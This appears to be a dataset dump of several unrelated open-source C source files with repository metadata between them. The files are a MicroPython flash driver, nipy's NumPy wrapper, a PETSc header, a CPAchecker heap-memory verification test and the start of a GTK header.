mp_arg_parse_all_kw_array(n_args, n_kw, all_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);
if (args[ARG_start].u_int == -1 && args[ARG_len].u_int == -1) {
// Default singleton object that accesses entire flash, including virtual partition table
return MP_OBJ_FROM_PTR(&pyb_flash_obj);
}
pyb_flash_obj_t *self = m_new_obj(pyb_flash_obj_t);
self->base.type = &pyb_flash_type;
#if defined(SPIFLASH)
self->use_native_block_size = false;
#endif
uint32_t bl_len = (storage_get_block_count() - FLASH_PART1_START_BLOCK) * FLASH_BLOCK_SIZE;
mp_int_t start = args[ARG_start].u_int;
if (start == -1) {
start = 0;
} else if (!(0 <= start && start < bl_len && start % PYB_FLASH_NATIVE_BLOCK_SIZE == 0)) {
mp_raise_ValueError(NULL);
}
mp_int_t len = args[ARG_len].u_int;
if (len == -1) {
len = bl_len - start;
} else if (!(0 < len && start + len <= bl_len && len % PYB_FLASH_NATIVE_BLOCK_SIZE == 0)) {
mp_raise_ValueError(NULL);
}
self->start = start;
self->len = len;
return MP_OBJ_FROM_PTR(self);
}
STATIC mp_obj_t pyb_flash_readblocks(size_t n_args, const mp_obj_t *args) {
pyb_flash_obj_t *self = MP_OBJ_TO_PTR(args[0]);
uint32_t block_num = mp_obj_get_int(args[1]);
mp_buffer_info_t bufinfo;
mp_get_buffer_raise(args[2], &bufinfo, MP_BUFFER_WRITE);
mp_uint_t ret = -MP_EIO;
if (n_args == 3) {
// Cast self->start to signed in case it's pyb_flash_obj with negative start
block_num += FLASH_PART1_START_BLOCK + (int32_t)self->start / FLASH_BLOCK_SIZE;
ret = storage_read_blocks(bufinfo.buf, block_num, bufinfo.len / FLASH_BLOCK_SIZE);
}
#if defined(MICROPY_HW_BDEV_READBLOCKS_EXT)
else if (self != &pyb_flash_obj) {
// Extended block read on a sub-section of the flash storage
uint32_t offset = mp_obj_get_int(args[3]);
if ((block_num * PYB_FLASH_NATIVE_BLOCK_SIZE) >= self->len) {
ret = -MP_EFAULT; // Bad address
} else {
block_num += self->start / PYB_FLASH_NATIVE_BLOCK_SIZE;
ret = MICROPY_HW_BDEV_READBLOCKS_EXT(bufinfo.buf, block_num, offset, bufinfo.len);
}
}
#endif
return MP_OBJ_NEW_SMALL_INT(ret);
}
STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(pyb_flash_readblocks_obj, 3, 4, pyb_flash_readblocks);
STATIC mp_obj_t pyb_flash_writeblocks(size_t n_args, const mp_obj_t *args) {
pyb_flash_obj_t *self = MP_OBJ_TO_PTR(args[0]);
uint32_t block_num = mp_obj_get_int(args[1]);
mp_buffer_info_t bufinfo;
mp_get_buffer_raise(args[2], &bufinfo, MP_BUFFER_READ);
mp_uint_t ret = -MP_EIO;
if (n_args == 3) {
// Cast self->start to signed in case it's pyb_flash_obj with negative start
block_num += FLASH_PART1_START_BLOCK + (int32_t)self->start / FLASH_BLOCK_SIZE;
ret = storage_write_blocks(bufinfo.buf, block_num, bufinfo.len / FLASH_BLOCK_SIZE);
}
#if defined(MICROPY_HW_BDEV_WRITEBLOCKS_EXT)
else if (self != &pyb_flash_obj) {
// Extended block write on a sub-section of the flash storage
uint32_t offset = mp_obj_get_int(args[3]);
if ((block_num * PYB_FLASH_NATIVE_BLOCK_SIZE) >= self->len) {
ret = -MP_EFAULT; // Bad address
} else {
block_num += self->start / PYB_FLASH_NATIVE_BLOCK_SIZE;
ret = MICROPY_HW_BDEV_WRITEBLOCKS_EXT(bufinfo.buf, block_num, offset, bufinfo.len);
}
}
#endif
return MP_OBJ_NEW_SMALL_INT(ret);
}
STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(pyb_flash_writeblocks_obj, 3, 4, pyb_flash_writeblocks);
STATIC mp_obj_t pyb_flash_ioctl(mp_obj_t self_in, mp_obj_t cmd_in, mp_obj_t arg_in) {
pyb_flash_obj_t *self = MP_OBJ_TO_PTR(self_in);
mp_int_t cmd = mp_obj_get_int(cmd_in);
switch (cmd) {
case MP_BLOCKDEV_IOCTL_INIT: {
mp_int_t ret = 0;
storage_init();
if (mp_obj_get_int(arg_in) == 1) {
// Will be using extended block protocol
if (self == &pyb_flash_obj) {
ret = -1;
#if defined(SPIFLASH)
} else {
// Switch to use native block size of SPI flash
self->use_native_block_size = true;
#endif
}
}
return MP_OBJ_NEW_SMALL_INT(ret);
}
case MP_BLOCKDEV_IOCTL_DEINIT:
storage_flush();
return MP_OBJ_NEW_SMALL_INT(0); // TODO properly
case MP_BLOCKDEV_IOCTL_SYNC:
storage_flush();
return MP_OBJ_NEW_SMALL_INT(0);
case MP_BLOCKDEV_IOCTL_BLOCK_COUNT: {
mp_int_t n;
if (self == &pyb_flash_obj) {
// Get true size
n = storage_get_block_count();
#if defined(SPIFLASH)
} else if (self->use_native_block_size) {
n = self->len / PYB_FLASH_NATIVE_BLOCK_SIZE;
#endif
} else {
n = self->len / FLASH_BLOCK_SIZE;
}
return MP_OBJ_NEW_SMALL_INT(n);
}
case MP_BLOCKDEV_IOCTL_BLOCK_SIZE: {
mp_int_t n = FLASH_BLOCK_SIZE;
#if defined(SPIFLASH)
if (self->use_native_block_size) {
n = PYB_FLASH_NATIVE_BLOCK_SIZE;
}
#endif
return MP_OBJ_NEW_SMALL_INT(n);
}
case MP_BLOCKDEV_IOCTL_BLOCK_ERASE: {
int ret = 0;
#if defined(SPIFLASH)
if (self->use_native_block_size) {
mp_int_t block_num = self->start / PYB_FLASH_NATIVE_BLOCK_SIZE + mp_obj_get_int(arg_in);
ret = spi_bdev_ioctl(SPIFLASH, BDEV_IOCTL_BLOCK_ERASE, block_num);
}
#endif
return MP_OBJ_NEW_SMALL_INT(ret);
}
default:
return mp_const_none;
}
}
STATIC MP_DEFINE_CONST_FUN_OBJ_3(pyb_flash_ioctl_obj, pyb_flash_ioctl);
STATIC const mp_rom_map_elem_t pyb_flash_locals_dict_table[] = {
{ MP_ROM_QSTR(MP_QSTR_readblocks), MP_ROM_PTR(&pyb_flash_readblocks_obj) },
{ MP_ROM_QSTR(MP_QSTR_writeblocks), MP_ROM_PTR(&pyb_flash_writeblocks_obj) },
{ MP_ROM_QSTR(MP_QSTR_ioctl), MP_ROM_PTR(&pyb_flash_ioctl_obj) },
};
STATIC MP_DEFINE_CONST_DICT(pyb_flash_locals_dict, pyb_flash_locals_dict_table);
const mp_obj_type_t pyb_flash_type = {
{ &mp_type_type },
.name = MP_QSTR_Flash,
.print = pyb_flash_print,
.make_new = pyb_flash_make_new,
.locals_dict = (mp_obj_dict_t *)&pyb_flash_locals_dict,
};
void pyb_flash_init_vfs(fs_user_mount_t *vfs) {
vfs->base.type = &mp_fat_vfs_type;
vfs->blockdev.flags |= MP_BLOCKDEV_FLAG_NATIVE | MP_BLOCKDEV_FLAG_HAVE_IOCTL;
vfs->fatfs.drv = vfs;
#if MICROPY_FATFS_MULTI_PARTITION
vfs->fatfs.part = 1; // flash filesystem lives on first partition
#endif
vfs->blockdev.readblocks[0] = MP_OBJ_FROM_PTR(&pyb_flash_readblocks_obj);
vfs->blockdev.readblocks[1] = MP_OBJ_FROM_PTR(&pyb_flash_obj);
vfs->blockdev.readblocks[2] = MP_OBJ_FROM_PTR(storage_read_blocks); // native version
vfs->blockdev.writeblocks[0] = MP_OBJ_FROM_PTR(&pyb_flash_writeblocks_obj);
vfs->blockdev.writeblocks[1] = MP_OBJ_FROM_PTR(&pyb_flash_obj);
vfs->blockdev.writeblocks[2] = MP_OBJ_FROM_PTR(storage_write_blocks); // native version
vfs->blockdev.u.ioctl[0] = MP_OBJ_FROM_PTR(&pyb_flash_ioctl_obj);
vfs->blockdev.u.ioctl[1] = MP_OBJ_FROM_PTR(&pyb_flash_obj);
}
#endif
|
4a58e2f54b8fbaaf244a9992161d82a6d3e3df4a
|
77fd60c4b7e7885b2ec4ca5203edf9489f6f37dc
|
/lib/fff_python_wrapper/fffpy.c
|
551c570f576f6a5aeedcfa325bcbad933b74727c
|
[
"BSD-3-Clause"
] |
permissive
|
nipy/nipy
|
156f379adbc07b259e25012662510b1f64aac4c5
|
7eede02471567487e454016c1e7cf637d3afac9e
|
refs/heads/master
| 2023-04-06T14:56:36.303421
| 2023-04-05T19:40:24
| 2023-04-05T19:40:24
| 642,344
| 275
| 115
|
BSD-3-Clause
| 2023-04-05T19:40:25
| 2010-05-02T10:00:33
|
Python
|
UTF-8
|
C
| false
| false
| 17,098
|
c
|
fffpy.c
|
#include "fffpy.h"
#include <stdarg.h>
#include <errno.h>
#define COPY_BUFFERS_USING_NUMPY 1
/* This function must be called before the module can work
because PyArray_API is defined static, in order not to share that symbol
within the dso. (import_array() asks the pointer value to the python process)
*/
/*
* deal with differences in macro return result between Python 2 and 3
* http://mail.scipy.org/pipermail/numpy-discussion/2010-December/054350.html
*/
IMP_OUT fffpy_import_array(void) {
import_array();
}
/* Static functions */
static npy_intp _PyArray_main_axis(const PyArrayObject* x, int* ok);
static fff_vector* _fff_vector_new_from_buffer(const char* data, npy_intp dim, npy_intp stride, int type, int itemsize);
static fff_vector* _fff_vector_new_from_PyArrayIter(const PyArrayIterObject* it, npy_intp axis);
static void _fff_vector_sync_with_PyArrayIter(fff_vector* y, const PyArrayIterObject* it, npy_intp axis);
/* Routines for copying 1d arrays into contiguous double arrays */
#if COPY_BUFFERS_USING_NUMPY
# define COPY_BUFFER(y, data, stride, type, itemsize) \
fff_vector_fetch_using_NumPy(y, data, stride, type, itemsize);
#else
# define COPY_BUFFER(y, data, stride, type, itemsize) \
fff_vector_fetch(y, (void*)data, fff_datatype_fromNumPy(type), stride/itemsize)
#endif
/*
Copy a buffer using numpy.
Copy buffer x into y assuming that y is contiguous.
*/
void fff_vector_fetch_using_NumPy(fff_vector* y, const char* x, npy_intp stride, int type, int itemsize)
{
npy_intp dim[1] = {(npy_intp)y->size};
npy_intp strides[1] = {stride};
PyArrayObject* X = (PyArrayObject*) PyArray_New(&PyArray_Type, 1, dim, type, strides,
(void*)x, itemsize, NPY_BEHAVED, NULL);
PyArrayObject* Y = (PyArrayObject*) PyArray_SimpleNewFromData(1, dim, NPY_DOUBLE, (void*)y->data);
PyArray_CastTo(Y, X);
Py_XDECREF(Y);
Py_XDECREF(X);
return;
}
/*
Create a fff_vector from an already allocated buffer. This function
acts as a fff_vector constructor that is compatible with
fff_vector_delete.
*/
static fff_vector* _fff_vector_new_from_buffer(const char* data, npy_intp dim, npy_intp stride, int type, int itemsize)
{
fff_vector* y;
size_t sizeof_double = sizeof(double);
/* If the input array is double and is aligned, just wrap without copying */
if ((type == NPY_DOUBLE) && (itemsize==sizeof_double)) {
y = (fff_vector*)malloc(sizeof(fff_vector));
y->size = (size_t)dim;
y->stride = (size_t)stride/sizeof_double;
y->data = (double*)data;
y->owner = 0;
}
/* Otherwise, output a owner contiguous vector with copied data */
else {
y = fff_vector_new((size_t)dim);
COPY_BUFFER(y, data, stride, type, itemsize);
}
return y;
}
/* Find the axis with largest dimension */
npy_intp _PyArray_main_axis(const PyArrayObject* x, int* ok)
{
npy_intp axis, count, i, dim, ndim = PyArray_NDIM(x);
*ok = 1;
axis = 0;
count = 0;
for(i=0; i<ndim; i++) {
dim = PyArray_DIM(x,i);
if (dim > 1) {
count ++;
axis = i;
}
}
if (count > 1)
*ok = 0;
return axis;
}
fff_vector* fff_vector_fromPyArray(const PyArrayObject* x)
{
fff_vector* y;
int ok;
npy_intp axis = _PyArray_main_axis(x, &ok);
if (!ok) {
FFF_ERROR("Input array is not a vector", EINVAL);
return NULL;
}
y = _fff_vector_new_from_buffer(PyArray_DATA(x),
PyArray_DIM(x, axis),
PyArray_STRIDE(x, axis),
PyArray_TYPE(x),
PyArray_ITEMSIZE(x));
return y;
}
/*
Export a fff_vector to a PyArray, and delete it. This function is a
fff_vector destructor compatible with any either fff_vector_new or
_fff_vector_new_from_buffer.
*/
PyArrayObject* fff_vector_toPyArray(fff_vector* y)
{
PyArrayObject* x;
size_t size;
npy_intp dims[1];
if (y == NULL)
return NULL;
size = y->size;
dims[0] = (npy_intp) size;
/* If the fff_vector is owner (hence contiguous), just pass the
buffer to Python and transfer ownership */
if (y->owner) {
x = (PyArrayObject*) PyArray_SimpleNewFromData(1, dims, NPY_DOUBLE, (void*)y->data);
x->flags = (x->flags) | NPY_OWNDATA;
}
/* Otherwise, create Python array from scratch */
else
x = fff_vector_const_toPyArray(y);
/* Ciao bella */
free(y);
return x;
}
/* Export without deleting */
PyArrayObject* fff_vector_const_toPyArray(const fff_vector* y)
{
PyArrayObject* x;
size_t i, size = y->size, stride = y->stride;
double* data = (double*) malloc(size*sizeof(double));
double* bufX = data;
double* bufY = y->data;
npy_intp dims[1];
dims[0] = (npy_intp) size;
for (i=0; i<size; i++, bufX++, bufY+=stride)
*bufX = *bufY;
x = (PyArrayObject*) PyArray_SimpleNewFromData(1, dims, NPY_DOUBLE, (void*)data);
x->flags = (x->flags) | NPY_OWNDATA;
return x;
}
/*
Get a fff_matrix from an input PyArray. This function acts as a
fff_vector constructor that is compatible with fff_vector_delete.
*/
fff_matrix* fff_matrix_fromPyArray(const PyArrayObject* x)
{
fff_matrix* y;
npy_intp dim[2];
PyArrayObject* xd;
/* Check that the input object is a two-dimensional array */
if (PyArray_NDIM(x) != 2) {
FFF_ERROR("Input array is not a matrix", EINVAL);
return NULL;
}
/* If the PyArray is double, contiguous and aligned just wrap without
copying */
if ((PyArray_TYPE(x) == NPY_DOUBLE) &&
(PyArray_ISCONTIGUOUS(x)) &&
(PyArray_ISALIGNED(x))) {
y = (fff_matrix*) malloc(sizeof(fff_matrix));
y->size1 = (size_t) PyArray_DIM(x,0);
y->size2 = (size_t) PyArray_DIM(x,1);
y->tda = y->size2;
y->data = (double*) PyArray_DATA(x);
y->owner = 0;
}
/* Otherwise, output a owner (contiguous) matrix with copied
data */
else {
size_t dim0 = PyArray_DIM(x,0), dim1 = PyArray_DIM(x,1);
y = fff_matrix_new((size_t)dim0, (size_t)dim1);
dim[0] = dim0;
dim[1] = dim1;
xd = (PyArrayObject*) PyArray_SimpleNewFromData(2, dim, NPY_DOUBLE, (void*)y->data);
PyArray_CastTo(xd, (PyArrayObject*)x);
Py_XDECREF(xd);
}
return y;
}
/*
Export a fff_matrix to a PyArray, and delete it. This function is a
fff_matrix destructor compatible with any of the following
constructors: fff_matrix_new and fff_matrix_fromPyArray.
*/
PyArrayObject* fff_matrix_toPyArray(fff_matrix* y)
{
PyArrayObject* x;
size_t size1;
size_t size2;
size_t tda;
npy_intp dims[2];
if (y == NULL)
return NULL;
size1 = y->size1;
size2 = y->size2;
tda = y->tda;
dims[0] = (npy_intp) size1;
dims[1] = (npy_intp) size2;
/* If the fff_matrix is contiguous and owner, just pass the
buffer to Python and transfer ownership */
if ((tda == size2) && (y->owner)) {
x = (PyArrayObject*) PyArray_SimpleNewFromData(2, dims, NPY_DOUBLE, (void*)y->data);
x->flags = (x->flags) | NPY_OWNDATA;
}
/* Otherwise, create PyArray from scratch. Note, the input
fff_matrix is necessarily in row-major order. */
else
x = fff_matrix_const_toPyArray(y);
/* Ciao bella */
free(y);
return x;
}
/* Export without deleting */
PyArrayObject* fff_matrix_const_toPyArray(const fff_matrix* y)
{
PyArrayObject* x;
size_t size1 = y->size1, size2 = y->size2, tda = y->tda;
size_t i, j, pos;
double* data = (double*) malloc(size1*size2*sizeof(double));
double* bufX = data;
double* bufY = y->data;
npy_intp dims[2];
dims[0] = (npy_intp) size1;
dims[1] = (npy_intp) size2;
for (i=0; i<size1; i++) {
pos = tda*i;
for (j=0; j<size2; j++, bufX++, pos++)
*bufX = bufY[pos];
}
x = (PyArrayObject*) PyArray_SimpleNewFromData(2, dims, NPY_DOUBLE, (void*)data);
x->flags = (x->flags) | NPY_OWNDATA;
return x;
}
/** Static routines **/
/**** Data type conversions *****/
fff_datatype fff_datatype_fromNumPy(int npy_type)
{
fff_datatype fff_type;
switch (npy_type) {
case NPY_UBYTE:
fff_type = FFF_UCHAR;
break;
case NPY_BYTE:
fff_type = FFF_SCHAR;
break;
case NPY_USHORT:
fff_type = FFF_USHORT;
break;
case NPY_SHORT:
fff_type = FFF_SSHORT;
break;
case NPY_UINT:
fff_type = FFF_UINT;
break;
case NPY_INT:
fff_type = FFF_INT;
break;
case NPY_ULONG:
fff_type = FFF_ULONG;
break;
case NPY_LONG:
fff_type = FFF_LONG;
break;
case NPY_FLOAT:
fff_type = FFF_FLOAT;
break;
case NPY_DOUBLE:
fff_type = FFF_DOUBLE;
break;
default:
fff_type = FFF_UNKNOWN_TYPE;
break;
}
/* Return the datatype */
return fff_type;
}
int fff_datatype_toNumPy(fff_datatype fff_type)
{
int npy_type;
switch(fff_type) {
case FFF_UCHAR:
npy_type = NPY_UBYTE;
break;
case FFF_SCHAR:
npy_type = NPY_BYTE;
break;
case FFF_USHORT:
npy_type = NPY_USHORT;
break;
case FFF_SSHORT:
npy_type = NPY_SHORT;
break;
case FFF_UINT:
npy_type = NPY_UINT;
break;
case FFF_INT:
npy_type = NPY_INT;
break;
case FFF_ULONG:
npy_type = NPY_ULONG;
break;
case FFF_LONG:
npy_type = NPY_LONG;
break;
case FFF_FLOAT:
npy_type = NPY_FLOAT;
break;
case FFF_DOUBLE:
npy_type = NPY_DOUBLE;
break;
default:
npy_type = NPY_NOTYPE;
break;
}
return npy_type;
}
/**** fff_array interface ****/
fff_array* fff_array_fromPyArray(const PyArrayObject* x)
{
fff_array* y;
fff_datatype datatype;
unsigned int nbytes;
size_t dimX = 1, dimY = 1, dimZ = 1, dimT = 1;
size_t offX = 0, offY = 0, offZ = 0, offT = 0;
size_t ndims = (size_t)PyArray_NDIM(x);
/* Check that the input array has less than four dimensions */
if (ndims > 4) {
FFF_ERROR("Input array has more than four dimensions", EINVAL);
return NULL;
}
/* Check that the input array is aligned */
if (! PyArray_ISALIGNED(x)) {
FFF_ERROR("Input array is not aligned", EINVAL);
return NULL;
}
/* Match the data type */
datatype = fff_datatype_fromNumPy(PyArray_TYPE(x));
if (datatype == FFF_UNKNOWN_TYPE) {
FFF_ERROR("Unrecognized data type", EINVAL);
return NULL;
}
/* Dimensions and offsets */
nbytes = fff_nbytes(datatype);
dimX = PyArray_DIM(x, 0);
offX = PyArray_STRIDE(x, 0)/nbytes;
if (ndims > 1) {
dimY = PyArray_DIM(x, 1);
offY = PyArray_STRIDE(x, 1)/nbytes;
if (ndims > 2) {
dimZ = PyArray_DIM(x, 2);
offZ = PyArray_STRIDE(x, 2)/nbytes;
if (ndims > 3) {
dimT = PyArray_DIM(x, 3);
offT = PyArray_STRIDE(x, 3)/nbytes;
}
}
}
/* Create array (not owner) */
y = (fff_array*)malloc(sizeof(fff_array));
*y = fff_array_view(datatype,
(void*) PyArray_DATA(x),
dimX, dimY, dimZ, dimT,
offX, offY, offZ, offT);
return y;
}
PyArrayObject* fff_array_toPyArray(fff_array* y)
{
PyArrayObject* x;
npy_intp dims[4];
int datatype;
fff_array* yy;
if (y == NULL)
return NULL;
dims[0] = y->dimX;
dims[1] = y->dimY;
dims[2] = y->dimZ;
dims[3] = y->dimT;
/* Match data type */
datatype = fff_datatype_toNumPy(y->datatype);
if (datatype == NPY_NOTYPE) {
FFF_ERROR("Unrecognized data type", EINVAL);
return NULL;
}
/* Make sure the fff array owns its data, which may require a copy */
if (y->owner)
yy = y;
else {
yy = fff_array_new(y->datatype, y->dimX, y->dimY, y->dimZ, y->dimT);
fff_array_copy(yy, y);
}
/*
Create a Python array from the array data (which is contiguous
since it is owner). We can use PyArray_SimpleNewFromData given
that yy is C-contiguous by fff_array_new.
*/
x = (PyArrayObject*) PyArray_SimpleNewFromData(yy->ndims, dims, datatype, (void*)yy->data);
/* Transfer ownership to Python */
x->flags = (x->flags) | NPY_OWNDATA;
/* Dealloc memory if needed */
if (! y->owner)
free(yy);
/* Delete array */
free(y);
return x;
}
/********************************************************************
Multi-iterator object.
********************************************************************/
static int _PyArray_BroadcastAllButAxis (PyArrayMultiIterObject* mit, int axis);
/*
Create a fff multi iterator object.
Involves creating a PyArrayMultiArrayIter instance that lets us
iterate simultaneously on an arbitrary number of numpy arrays
EXCEPT in one common axis.
There does not seem to exist a built-in PyArrayMultiArrayIter
constructor for this usage. If it pops up one day, part of the
following code should be replaced.
Similarly to the default PyArrayMultiArrayIter constructor, we need
to set up broadcasting rules. For now, we simply impose that all
arrays have exactly the same number of dimensions and that all
dimensions be equal except along the "non-iterated" axis.
FIXME: The following code does not perform any checking, and will
surely crash if the arrays do not fulfill the conditions.
*/
fffpy_multi_iterator* fffpy_multi_iterator_new(int narr, int axis, ...)
{
fffpy_multi_iterator* thisone;
va_list va;
fff_vector** vector;
PyArrayMultiIterObject *multi;
PyObject *current, *arr;
int i, err=0;
/* Create new instance */
thisone = (fffpy_multi_iterator*)malloc(sizeof(fffpy_multi_iterator));
multi = PyArray_malloc(sizeof(PyArrayMultiIterObject));
vector = (fff_vector**)malloc(narr*sizeof(fff_vector*));
/* Initialize the PyArrayMultiIterObject instance from the variadic arguments */
PyObject_Init((PyObject *)multi, &PyArrayMultiIter_Type);
for (i=0; i<narr; i++)
multi->iters[i] = NULL;
multi->numiter = narr;
multi->index = 0;
va_start(va, axis);
for (i=0; i<narr; i++) {
current = va_arg(va, PyObject *);
arr = PyArray_FROM_O(current);
if (arr==NULL) {
err=1; break;
}
else {
multi->iters[i] = (PyArrayIterObject *)PyArray_IterAllButAxis(arr, &axis);
Py_DECREF(arr);
}
}
va_end(va);
/* Test */
if (!err && _PyArray_BroadcastAllButAxis(multi, axis) < 0)
err=1;
if (err) {
FFF_ERROR("Cannot create broadcast object", ENOMEM);
free(thisone);
free(vector);
Py_DECREF(multi);
return NULL;
}
/* Initialize the multi iterator */
PyArray_MultiIter_RESET(multi);
/* Create the fff vectors (views or copies) */
for(i=0; i<narr; i++)
vector[i] = _fff_vector_new_from_PyArrayIter((const PyArrayIterObject*)multi->iters[i], axis);
/* Instantiate fiels */
thisone->narr = narr;
thisone->axis = axis;
thisone->vector = vector;
thisone->multi = multi;
thisone->index = thisone->multi->index;
thisone->size = thisone->multi->size;
return thisone;
}
void fffpy_multi_iterator_delete(fffpy_multi_iterator* thisone)
{
unsigned int i;
Py_DECREF(thisone->multi);
for(i=0; i<thisone->narr; i++)
fff_vector_delete(thisone->vector[i]);
free(thisone->vector);
free(thisone);
return;
}
void fffpy_multi_iterator_update(fffpy_multi_iterator* thisone)
{
unsigned int i;
PyArray_MultiIter_NEXT(thisone->multi);
for(i=0; i<thisone->narr; i++)
_fff_vector_sync_with_PyArrayIter(thisone->vector[i], (const PyArrayIterObject*)thisone->multi->iters[i], thisone->axis);
thisone->index = thisone->multi->index;
return;
}
void fffpy_multi_iterator_reset(fffpy_multi_iterator* thisone)
{
unsigned int i;
PyArray_MultiIter_RESET(thisone->multi);
for(i=0; i<thisone->narr; i++)
_fff_vector_sync_with_PyArrayIter(thisone->vector[i], (const PyArrayIterObject*)thisone->multi->iters[i], thisone->axis);
thisone->index = thisone->multi->index;
return;
}
static int _PyArray_BroadcastAllButAxis (PyArrayMultiIterObject* mit, int axis)
{
int i, nd;
npy_intp size, tmp;
PyArrayIterObject *it;
/* Not very robust */
it = mit->iters[0];
/* Set the dimensions */
nd = it->ao->nd;
mit->nd = nd;
for(i=0, size=1; i<nd; i++) {
tmp = it->ao->dimensions[i];
mit->dimensions[i] = tmp;
if (i!=axis)
size *= tmp;
}
mit->size = size;
/* Not very robust either */
return 0;
}
/* Create an fff_vector from a PyArrayIter object */
fff_vector* _fff_vector_new_from_PyArrayIter(const PyArrayIterObject* it, npy_intp axis)
{
fff_vector* y;
char* data = PyArray_ITER_DATA(it);
PyArrayObject* ao = (PyArrayObject*) it->ao;
npy_intp dim = PyArray_DIM(ao, axis);
npy_intp stride = PyArray_STRIDE(ao, axis);
int type = PyArray_TYPE(ao);
int itemsize = PyArray_ITEMSIZE(ao);
y = _fff_vector_new_from_buffer(data, dim, stride, type, itemsize);
return y;
}
/* Fetch vector data from an iterator (view or copy) */
void _fff_vector_sync_with_PyArrayIter(fff_vector* y, const PyArrayIterObject* it, npy_intp axis)
{
if (y->owner) {
PyArrayObject* ao = (PyArrayObject*) it->ao;
COPY_BUFFER(y, PyArray_ITER_DATA(it), PyArray_STRIDE(ao, axis),
PyArray_TYPE(ao), PyArray_ITEMSIZE(ao));
}
else
y->data = (double*) PyArray_ITER_DATA(it);
return;
}
|
a3a2793c974bcc69ad01f52bbd2de549c66db607
|
eecd5e4c50d8b78a769bcc2675250576bed34066
|
/src/mat/utils/freespace.h
|
a32b882e46c19e6c92fe6ce720cac20d69509b64
|
[
"BSD-2-Clause"
] |
permissive
|
petsc/petsc
|
3b1a04fea71858e0292f9fd4d04ea11618c50969
|
9c5460f9064ca60dd71a234a1f6faf93e7a6b0c9
|
refs/heads/main
| 2023-08-17T20:51:16.507070
| 2023-08-17T16:08:06
| 2023-08-17T16:08:06
| 8,691,401
| 341
| 169
|
NOASSERTION
| 2023-03-29T11:02:58
| 2013-03-10T20:55:21
|
C
|
UTF-8
|
C
| false
| false
| 832
|
h
|
freespace.h
|
#ifndef PETSC_FREESPACE_H
#define PETSC_FREESPACE_H
#include <petscsys.h>
typedef struct _n_PetscFreeSpaceList *PetscFreeSpaceList;
struct _n_PetscFreeSpaceList {
PetscFreeSpaceList more_space;
PetscInt *array;
PetscInt *array_head;
PetscInt total_array_size;
PetscInt local_used;
PetscInt local_remaining;
};
PetscErrorCode PetscFreeSpaceGet(PetscInt, PetscFreeSpaceList *);
PetscErrorCode PetscFreeSpaceContiguous(PetscFreeSpaceList *, PetscInt *);
PetscErrorCode PetscFreeSpaceContiguous_LU(PetscFreeSpaceList *, PetscInt *, PetscInt, PetscInt *, PetscInt *);
PetscErrorCode PetscFreeSpaceContiguous_Cholesky(PetscFreeSpaceList *, PetscInt *, PetscInt, PetscInt *, PetscInt *);
PetscErrorCode PetscFreeSpaceDestroy(PetscFreeSpaceList);
#endif // PETSC_FREESPACE_H
|
80ae9faa8a7cb1b558c8525555b610a5d9cb9dee
|
4e32ea5b4a215f427af04630e01b1312ffd31a55
|
/test/programs/smg_Explicity_Test/heap-memory/test-0513_1.c
|
a719561ca5627d8aa8fd9c041fc3cf1591cb7e9f
|
[
"Apache-2.0",
"GPL-1.0-or-later"
] |
permissive
|
sosy-lab/cpachecker
|
1add74cb774316dd6e1aea3fb1f352c8141466b7
|
1822761867d106301bda0bc99ed3cc0a25c529aa
|
refs/heads/trunk
| 2023-08-31T14:47:22.284597
| 2023-08-31T14:20:58
| 2023-08-31T14:20:58
| 20,107,238
| 186
| 90
|
Apache-2.0
| 2021-07-27T14:24:30
| 2014-05-23T16:57:37
|
SWIG
|
UTF-8
|
C
| false
| false
| 2,251
|
c
|
test-0513_1.c
|
// SPDX-FileCopyrightText: The Predator authors
//
// SPDX-License-Identifier: GPL-3.0-only
extern void __VERIFIER_error() __attribute__ ((__noreturn__));
#include <stdlib.h>
extern int __VERIFIER_nondet_int(void);
struct DItem {
struct DItem* next;
int value;
};
struct TLItem {
struct TLItem* next;
struct DItem* data;
};
int main() {
struct TLItem* data = NULL;
struct DItem* item, * item2;
struct TLItem *lItem;
int c1 = 0;
// fill top level list with single data items
while (c1 < 2 && __VERIFIER_nondet_int()) {
c1++;
item = malloc(sizeof *item);
if (!item)
abort();
item->next = NULL;
if(c1 < 2)
item->value = 2;
if(c1 < 4)
item->value = c1 + 2;
if(c1 < 6)
item->value = 2 * c1 + 4;
lItem = malloc(sizeof *lItem);
if (data) {
lItem->next = data->next;
data->next = lItem;
} else {
lItem->next = lItem;
data = lItem;
}
lItem->data = item;
item = NULL;
lItem = NULL;
}
if (!data)
return 0;
// merge subsequent pairs
while (data->next != data) {
item = data->data;
item2 = data->next->data;
lItem = data->next;
data->next = lItem->next;
free(lItem);
struct DItem** dst = &data->data;
while (item && item2) {
if (item->value > item2->value) {
*dst = item;
item = item->next;
} else {
*dst = item2;
item2 = item2->next;
}
dst = &(*dst)->next;
}
if (item) {
*dst = item;
item = NULL;
} else if (item2) {
*dst = item2;
item2 = NULL;
}
dst = NULL;
data = data->next;
}
// release the list
item = data->data;
free(data);
while (item) {
item2 = item;
item = item->next;
if(item2->value > 1 && item2->value < 15 ) {
free(item2);
}
}
return 0;
}
|
9652400f2523f154c5cc652a5b0e52d350e7bced
|
88ae8695987ada722184307301e221e1ba3cc2fa
|
/third_party/wayland-protocols/gtk/gtk/gtktreepopoverprivate.h
|
2656f90a1d31659205350e21be9e2d9f596f8de5
|
[
"BSD-3-Clause",
"Apache-2.0",
"LGPL-2.0-or-later",
"MIT",
"GPL-1.0-or-later",
"LGPL-2.0-only",
"LGPL-2.1-only"
] |
permissive
|
iridium-browser/iridium-browser
|
71d9c5ff76e014e6900b825f67389ab0ccd01329
|
5ee297f53dc7f8e70183031cff62f37b0f19d25f
|
refs/heads/master
| 2023-08-03T16:44:16.844552
| 2023-07-20T15:17:00
| 2023-07-23T16:09:30
| 220,016,632
| 341
| 40
|
BSD-3-Clause
| 2021-08-13T13:54:45
| 2019-11-06T14:32:31
| null |
UTF-8
|
C
| false
| false
| 1,903
|
h
|
gtktreepopoverprivate.h
|
/*
* Copyright © 2019 Red Hat, Inc.
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2 of the licence, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library. If not, see <http://www.gnu.org/licenses/>.
*
* Author: Matthias Clasen
*/
